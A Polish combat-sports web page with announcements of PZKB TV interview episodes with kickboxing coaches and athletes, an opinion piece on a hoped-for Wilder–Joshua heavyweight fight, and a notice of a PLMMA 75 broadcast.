Zapraszamy do obejrzenia siódmego odcinka programu z serii PZKB TV. Tym razem gościem jest Darek Giera zawodnik MKS Wicher Kobyłka i ENGEL TEAM oraz Reprezentacji Polski w formule Kick-Light.
[kod]
Zapraszamy do obejrzenia dziewiątego odcinka programu z serii PZKB TV. Tym razem gościem jest Marek Jasiński trener i prezes klubu Dragon Starachowice.
[kod]
Zapraszamy do obejrzenia dziesiątego odcinka programu z serii PZKB TV. Tym razem gościem jest Grzegorz Engel trener MKS Wicher Kobyłka i ENGEL TEAM oraz Reprezentacji Polski w formule Kick-Light.
[kod]
Zapraszamy do obejrzenia jedenastego odcinka programu z serii PZKB TV. Tym razem gościem jest Marek Jasiński trener i prezes klubu Dragon Starachowice. W rozmowie poruszamy temat zbliżających się Mistrzostw Polski Oriental Rules.
[kod]
„Ważne są dni, których jeszcze nie znamy” – śpiewał Marek Grechuta. Trudno wyrokować, co przyniesie przyszłość, ale świat boksu z niecierpliwością czeka na święto wagi ciężkiej. Wszyscy wypatrują pojedynku Deontaya Wildera z Anthony'm Joshuą.
Z pewnościa byłaby to walka tytanów. Wszyscy o tym mówią, gdzieś w powietrzu unosi się już woń rywalizacji, ale konkretów brak. Oby ten zapowiadany hit nie został tylko odłożony na półkę.
Smakołyk pierwsza klasa
Co na papierze, to na papierze. Podpisane, a więc pewne. Gadać można różne rzeczy i nic z tego nie wychodzi. Tak to już najczęściej jest, że z dużej chmury mały deszcz. A na wielkie pojedynki trzeba czekać stosunkowo długo. Poza tym nuda i przewidywalność. Miłośnicy boksu ekscytowali się starciem Joshuy z Władimirem Kliczko. Kolejnymi triumfami przed czasem imponuje Deontay Wilder. A żeby tak usiąść i z ekscytacją obserwować walkę, to się zdarza raczej od święta.
Ślinka cieknie na samą myśl o możliwym starciu Wildera z Joshuą. Należy podkreślić „możliwym”. Na szali pojawiłyby się pasy WBC, IBF, IBO i WBA. Sportowa wartość tego starcia byłaby ogromna. Warto spojrzeć również na stronę ekonomiczną. Z pewnością Joshua i Wilder napchaliby sobie kieszenie, ale czy odnieśliby korzyść? Jeden z nich musiałby opuścić ring ze spuszczoną głową. A wrócić na szczyt nie jest łatwo. Joshua i Wilder to określony poziom, każdy wyrobił sobie markę i z tego powodu może czerpać określone profity. Pięściarze, a przede wszystkim ich promotorzy doskonale o tym wiedzą.
Warto przypomnieć, że przez długi czas wątpiono w możliwości Wildera. Dopiero walka o pas z Bermane Stivernem miała być dla niego weryfikacją. Amerykanin wygrał na punkty i stał się dumą swojego kraju, a przy okazji pierwszoplanową postacią wagi ciężkiej. Podobnie było z Joshuą. Pokonanie Charlesa Martina i zdobycie pasa IBF na nikim wrażenia nie zrobiły. Ale efektowna walka z Kliczko pokazała, że Joshua to pierwsza liga.
Byłoby gorąco
Choć pogoda nie rozpieszcza, należy liczyć, że może chociaż w boksie będzie gorąco. – Sytuacja w wadze ciężkiej stała się ciekawa, a moja walka z Joshuą sprawiłaby, że zainteresowanie byłoby jeszcze większe. Gdy weszlibyśmy do ringu, cały świat na nas by patrzył. Wszystko by się zatrzymało. Każdy chciałby zobaczyć tę walkę – powiedział Deontay Wilder.
Co istotne, należy pamiętać, że w boksie na największe walki trzeba poczekać. Czas ucieka… A hity rozczarowują. Ile trzeba było czekać na starcie Mayweathera Jr z Pacquiao? Oby Wilder i Joshua spotkali się wcześniej niż przed emeryturą.
KM
Zapraszamy na transmisję telewizyjną nazywo z gali PLMMA 75.
Transmisja dostępna tylko na FanPage naszej telewizji pod adresem:
https://www.facebook.com/FighTimeTV/
[kod]
Part 1
Part 2